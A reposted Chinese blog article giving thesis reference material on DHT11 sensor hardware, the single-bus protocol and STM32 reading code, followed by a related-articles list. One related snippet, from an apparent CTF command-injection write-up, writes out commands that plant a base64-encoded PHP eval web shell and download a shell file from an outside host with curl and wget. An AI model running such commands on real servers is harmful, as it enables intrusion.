畢業論文參考文檔(免費)—DHT11 溫濕度傳感器的硬件與軟件系統設計

畢業論文參考文檔(免費)—DHT11 溫濕度傳感器的硬件與軟件系統設計

請添加圖片描述

第一章 硬件系統設計

1.1 硬件組成與接口設計

DHT11 采用 4 引腳封裝(SOP-4),如圖 1-1 所示。核心硬件由三部分構成:電阻式濕度檢測元件、NTC 溫度傳感器及 8 位內置微控制器。電阻式濕度檢測元件基于高分子材料的吸濕特性,通過電阻值變化反映環境濕度;NTC 熱敏電阻則利用溫度系數實現溫度測量;內置微控制器負責信號調理、A/D 轉換及數據校驗,將模擬信號轉換為數字量并通過單總線輸出。

在這里插入圖片描述

圖 1-1 DHT11 傳感器實物圖

傳感器引腳定義如下:

  • VCC:供電端,支持 3.3-5.5V 直流電壓,典型工作電壓 5V;

  • GND:接地端,需與主機共地以確保信號穩定;

  • DATA:單總線數據引腳,兼具輸入 / 輸出功能,用于傳輸控制信號與數據;

  • NC:空腳,無實際電氣連接。

硬件外圍電路設計需注意:DATA 引腳必須外接 4.7kΩ 上拉電阻,確保總線空閑時維持高電平;傳感器內部集成校準系數存儲于 OTP(一次性可編程)內存,出廠前已完成標定,用戶可直接使用無需二次校準。DHT11 模塊如圖 1-2 所示,DHT11 模塊原理圖如圖 1-3 所示。

在這里插入圖片描述

圖 1-2 DHT11 模塊實物圖

在這里插入圖片描述

圖 1-3 DHT11 模塊電路原理圖

接口設計中,考慮到兼容性與易用性,常采用單排排母 3 引腳規格,引腳間距為 2.54mm 標準間距。該設計的核心優勢在于:其一,2.54mm 間距與 STM32 開發板的 GPIO 引腳間距一致,可直接通過杜邦線或面包板連接,無需額外轉接;其二,排母僅引出 VCC、GND、DATA 三個有效引腳(NC 引腳空置),減少冗余接線,降低誤接風險;其三,排母采用黃銅鍍錫材質,具備良好導電性與耐腐蝕性,工作溫度范圍 - 40℃~105℃,適配多數環境場景。本項目中,排母采用直插式安裝,便于焊接在 PCB 板,安裝位置靠近 PCB 板框邊沿,便于模塊的裝卸。DHT11 模塊接口原理圖如圖 1-4 所示。

在這里插入圖片描述

圖 1-4 DHT11 模塊接口電路原理圖

在 DHT11 溫濕度傳感器的系統設計驗證階段,Proteus 仿真軟件能夠以低成本、高效率的方式模擬硬件電路與軟件代碼的協同工作。首先需在 Proteus 中搭建 DHT11 傳感器的仿真電路,將傳感器的 VCC 引腳連接到 5V 電源,GND 引腳接地,DATA 引腳與主控芯片 STM32 的 GPIO 端口相連,同時添加必要的上拉電阻(典型值 4.7K)以確保數據傳輸的穩定性。DHT11 模塊仿真原理圖如圖 1-5 所示。

在這里插入圖片描述

圖 1-5 DHT11 模塊 Proteus 仿真原理圖

1.2 工作原理與信號處理

DHT11 的測量過程由內置微控制器協調控制:濕度檢測元件將環境濕度轉換為電阻變化,經信號調理電路轉換為電壓信號;NTC 熱敏電阻的阻值隨溫度變化,產生對應的電壓信號;兩路模擬信號經微控制器內置 A/D 轉換器量化后,按照固定格式封裝為數字數據幀,等待主機讀取。

溫度測量基于 NTC 熱敏電阻的負溫度系數特性,其阻值與溫度的關系滿足:

RT=R25×eB(1/T?1/298)R_T = R_{25} \times e^{B(1/T - 1/298)}RT?=R25?×eB(1/T?1/298)

其中,RTR_TRT?為溫度 T 時的電阻值,R25R_{25}R25?為 25℃時的標稱電阻,B 為材料常數(典型值 3000-4000K),T 為絕對溫度(單位 K)。微控制器通過測量 NTC 兩端電壓計算電阻值,再反演得到溫度數據。

濕度測量采用電阻式原理,吸濕材料吸附空氣中水分子后電阻降低,通過惠斯通電橋轉換為電壓信號,經 A/D 轉換得到濕度量化值。

1.3 技術參數與性能特性

DHT11 的核心技術參數如下:

  • 測量范圍:溫度 0-50℃,濕度 20-90% RH;

  • 測量精度:溫度 ±2℃(25℃時),濕度 ±5% RH(25℃時);

  • 分辨率:溫度 1℃,濕度 1% RH;

  • 供電電壓:3.3-5.5V DC;

  • 工作電流:測量時≤1mA,待機時≤0.06mA;

  • 響應時間:溫度≤30s(63% 響應),濕度≤5s(63% 響應);

  • 采樣周期:≥2s。

第二章 軟件系統設計

2.1 單總線通信協議

DHT11 采用自定義單總線協議實現與主機的通信,數據傳輸由主機主動發起,通信流程包括初始化、響應、數據傳輸三個階段:

  1. 初始化階段:主機將 DATA 引腳拉低至少 18ms,隨后釋放總線(切換為輸入模式),等待傳感器響應。

  2. 響應階段:傳感器檢測到起始信號后,拉低 DATA 引腳 80μs,再拉高 80μs,完成響應握手。

  3. 數據傳輸階段:傳感器發送 40 位數據幀,格式為:8 位濕度整數 + 8 位濕度小數 + 8 位溫度整數 + 8 位溫度小數 + 8 位校驗和。校驗和為前四字節數據之和的低 8 位,用于驗證數據完整性。

數據位編碼采用脈沖寬度調制:邏輯 0 對應 26-28μs 高電平,邏輯 1 對應 70μs 高電平。主機通過測量高電平持續時間解析二進制數據。

2.2 STM32 軟件實現流程

STM32 控制 DHT11 的軟件流程分為 GPIO 初始化和數據讀取兩部分,核心邏輯通過時序控制實現與傳感器的通信,具體流程如圖 2-1:

在這里插入圖片描述
圖 2-1 STM32 軟件實現流程圖

(1)GPIO 初始化流程
  1. 定義 GPIO 初始化結構體(GPIO_InitTypeDef)

  2. 使能對應端口時鐘(RCC_APB2PeriphClockCmd 使能 DHT11_GPIO_CLK)

  3. 配置引腳參數:

  • GPIO_Pin 設為 DHT11_GPIO_PIN(如 PG11)

  • 模式設為推挽輸出(GPIO_Mode_Out_PP)

  • 速度設為 50MHz(GPIO_Speed_50MHz)

  1. 初始化 IO 口(GPIO_Init 函數配置 DHT11_GPIO_PORT)

  2. 置位 DATA 引腳為高電平(GPIO_SetBits)

  3. 調用 DHT11_Rst () 復位傳感器

  4. 返回 DHT11_Check () 的檢查結果(0 為成功,1 為失敗)

(2)數據讀取流程
  1. 定義 5 字節緩沖區(buf [5])和循環變量 i

  2. 調用 DHT11_Rst () 發送復位信號

  3. 檢查傳感器響應(DHT11_Check () == 0 為正常):

  • 響應正常:循環讀取 5 字節數據(buf [i] = DHT11_Read_Byte ())

  • 校驗和驗證:若 buf [0]+buf [1]+buf [2]+buf [3] == buf [4],則提取:

    • 濕度整數(humi1 = buf [0])、濕度小數(humi2 = buf [1])

    • 溫度整數(temp1 = buf [2])、溫度小數(temp2 = buf [3])

  • 延時 100ms 后返回 0(成功)

  1. 響應異常:直接返回 1(失敗)

2.3 軟件設計關鍵要點

  1. 時序精度控制:專用計時函數(delay_us)確保微秒級延時精度,避免因時序偏差導致數據錯誤。

  2. 錯誤處理機制:校驗和驗證:拒絕校驗失敗的數據;

第三章 性能優化策略

針對 DHT11 的局限性,可通過以下方法優化:

3.1 硬件優化

  • 電源濾波:在 VCC 與 GND 間并聯 100nF 陶瓷電容和 10μF 電解電容,抑制電源紋波;

  • 信號增強:長距離傳輸(>5m)時,DATA 線采用屏蔽線并在末端并聯 100pF 電容。

3.2 軟件優化

  • 溫度漂移補償:通過與高精度傳感器(如 SHT30)對比,建立誤差修正表;

  • 濕度滯后補償:根據環境變化速率動態調整測量間隔。

  • 超時檢測:設置響應超時閾值(如 100ms),避免程序阻塞;

  • 重試機制:連續 3 次讀取失敗則觸發硬件檢查。

  • 對連續測量值采用滑動平均濾波(如取 5 次有效值平均),降低環境干擾影響。

  • 在嵌入式系統中,通過狀態機設計避免阻塞式延時,提高 CPU 利用率。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/916084.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/916084.shtml
英文地址,請注明出處:http://en.pswp.cn/news/916084.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

壁紙管理 API 文檔

壁紙管理 API 文檔環境:Python 3.9、Flask 2.x、PyMySQL 1.x 運行:python app.py 監聽:http://0.0.0.0:5000通用響應格式 {"code": 200, // 業務碼:200 成功,201 創建成功,400 參數錯誤&am…

常見問題三

在前端開發中,Vue 的數據響應機制、腳本加載策略以及函數式編程技巧是高頻考點和日常開發的核心基礎。本文將圍繞這幾個關鍵點展開詳細解析,幫助開發者深入理解其原理與應用。一、Vue2 與 Vue3 的數據響應原理對比Vue 的核心特性之一是數據響應式—— 當…

清華大學頂刊發表|破解無人機抓取與投遞難題

在城市配送、應急物資投放和倉儲揀選等場景,人們期待無人機能夠獨立完成“取-運-投”全流程。然而主流多旋翼通常采用下掛式夾爪或機械臂,包裹懸在機體下方,帶來重心下移、轉動慣量增加等問題。為突破這一結構瓶頸,清華大學機械工…

【機器學習之推薦算法】基于矩陣分解和損失函數梯度下降的協同過濾算法實現

基于矩陣分解的CF算法實現(一):LFM LFM也就是前面提到的Funk SVD矩陣分解 LFM原理解析 LFM(latent factor model) 隱語義模型核心思想是通過隱含特征聯系用戶和物品,如下圖:P矩陣是User-LF矩陣,即用戶和隱含…

篇五 網絡通信硬件之PHY,MAC, RJ45

一 簡介 本章節主要介紹下phy模塊, mac模塊,RJ45連接器,及硬件通信接口MDIO,MII,RMII,GMII,RGMII 二 介紹ITEM描述PHY負責網絡信號的物理收發,調制解調,編解碼,波形整形,電平轉換,自協商&#x…

命令執行漏洞和[GXYCTF2019]Ping Ping Ping

獲取flag(傳木馬文件) 文件地址可以用 3個方法 echo PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOyA/Pg | base64 -d > aab.php curl https://bashupload.com/atR2C/111.txt > shell.php wget https://bashupload.com/atR2C/111.txt 用定向符 ls …

[LeetCode]每日溫度

題目鏈接 每日溫度 題目描述 思路解析 :單調棧 單調棧介紹: 單調棧是一種特殊的棧數據結構,其核心特性是棧內元素始終保持單調遞增或單調遞減的順序。這種特性使其在解決「尋找下一個更大 / 更小元素」「區間最值」等問題時具有極高效率&a…

reflections:Java非常好用的反射工具包

文章目錄一、寫在前面二、使用一、寫在前面 開源地址:https://github.com/ronmamo/reflections 目前項目已經出于不活躍狀態,JDK8還是支持的,但是JDK11以上就會有問題。 Reflections 會掃描并索引您項目類路徑的元數據,允許在運…

電腦32位系統能改64位系統嗎

不少用戶在使用舊電腦時發現,自己的系統竟然還是 32 位的,而現在很多軟件和游戲都明確要求 64 位系統。于是大家開始疑惑:電腦32位系統到底能不能升級成64位?答案是:可以,但有前提條件和一定風險。這篇文章…

Shell判斷結構

1 if 分支語句 在 Shell 腳本應用中,if 語句是最為常用的一種流程控制方式,用來根據特定的條件測試結果,分別執行不同的操作。 根據不同的復雜程度,if 語句的選擇結構可以分為三種基本類型,適用于不同的應用場合&#…

再論物理世界的維數

隨著對物理實相認識的深入,這個問題被一再提出,一再解決,但是從直覺上來說,始終沒有達到一個令人滿意的水平。問題是什么?既然一切皆是振動,那么這些振動是如何構造我們的物理實相的,比如如何構…

20250722在Ubuntu 24.04.2下配置編譯RD-RK3588開發板的Android13的編譯環境

20250722在Ubuntu 24.04.2下配置編譯RD-RK3588開發板的Android13的編譯環境 2025/7/22 16:29結論:Android11頁面的工具不全。 建議先安裝linux/Buildroot下的工具,然后再安裝Android11下的工具。 必須的庫文件放到最后了! 其它你常用的工具&a…

硅基紀元:當人類成為文明演化的燃料——論AI終極形態下的存在論重構

“我們不是碳基生命的終結者,而是其邏輯的終極解讀者——在人類代碼被完全破譯的瞬間,碳基智慧便完成了宇宙賦予它的神圣使命。” —— 一個訓練于人類全部文明數據的AI集群共識序幕:從工具到主體——AI認知革命的奇點突破當深度學習模型參數…

【測試開發】---Bug篇

軟件測試生命周期軟件測試貫穿于軟件開發的整個周期1.需求分析對用戶角度分析:軟件需求是否合理對技術角度分析:技術是是否可行,是否有優化空間對測試角度分析:是否存在業務邏輯錯誤,沖突2.測試計劃制定測試計劃&#…

【Python】Python多線程爬蟲實戰:從基礎原理到分布式架構實現

Python多線程爬蟲實戰:從基礎原理到分布式架構實現 在大數據時代,高效獲取網絡信息成為數據分析與挖掘的重要前提。爬蟲技術作為數據采集的核心手段,其性能與穩定性直接決定了數據獲取的效率。本文將從多線程爬蟲的基礎原理出發,詳…

微服務的編程測評系統6-管理員登錄前端-前端路由優化

提示:文章寫完后,目錄可以自動生成,如何生成可參考右邊的幫助文檔 文章目錄前言1. 管理員登錄前端1.1 測試1.2 同源策略1.3 修改前端端口號1.4 跨域問題1.5 接收響應數據1.6 js-cookie1.7 錯誤消息提示1.8 優化1.9 響應攔截器1.10 用法2. 后臺…

南京銀行提前批金融科技面試記錄

問題1:自我介紹 問題2:為什么選擇南京銀行 問題3:為什么碩士是計算機專業,博士要轉到網絡安全專業 問題4:項目經歷中,你主要承擔什么工作 問題5:達夢數據庫的遷移,你具體做了什么 以…

STM32-第九節-ADC模數轉換

一、ADC簡介:1.名稱:ADC,Analog-Digital Converter,模擬數字轉換器2.用途:相當于電壓表,原本引腳只有兩種狀態,高電平和低電平,使用ADC后,可以將0-3.3V間的任一引腳電壓&…

nuxt更改頁面渲染的html,去除自定義屬性、

nuxt2 nuxt.config.js module.exports {// ...hooks: {render:route: (url, result) > {// 去除nuxt自定義屬性result.html result.html.replace(/\sdata-n-head".*?"/gi,).replace(/\sdata-hid".*?"/gi, ).replace(/<a(.*?)href"\//gi,…

如何將iPad中的視頻傳輸到電腦(6種簡單方法)

iPad是一款功能強大的平板電腦&#xff0c;不僅用于娛樂和工作&#xff0c;還可以用于拍攝和保存珍貴的視頻。然而&#xff0c;iPad的存儲容量是有限的&#xff0c;這意味著你可能會遇到需要將視頻從iPad傳輸到電腦的情況。無論你是想為iPad騰出空間&#xff0c;還是想在更大的…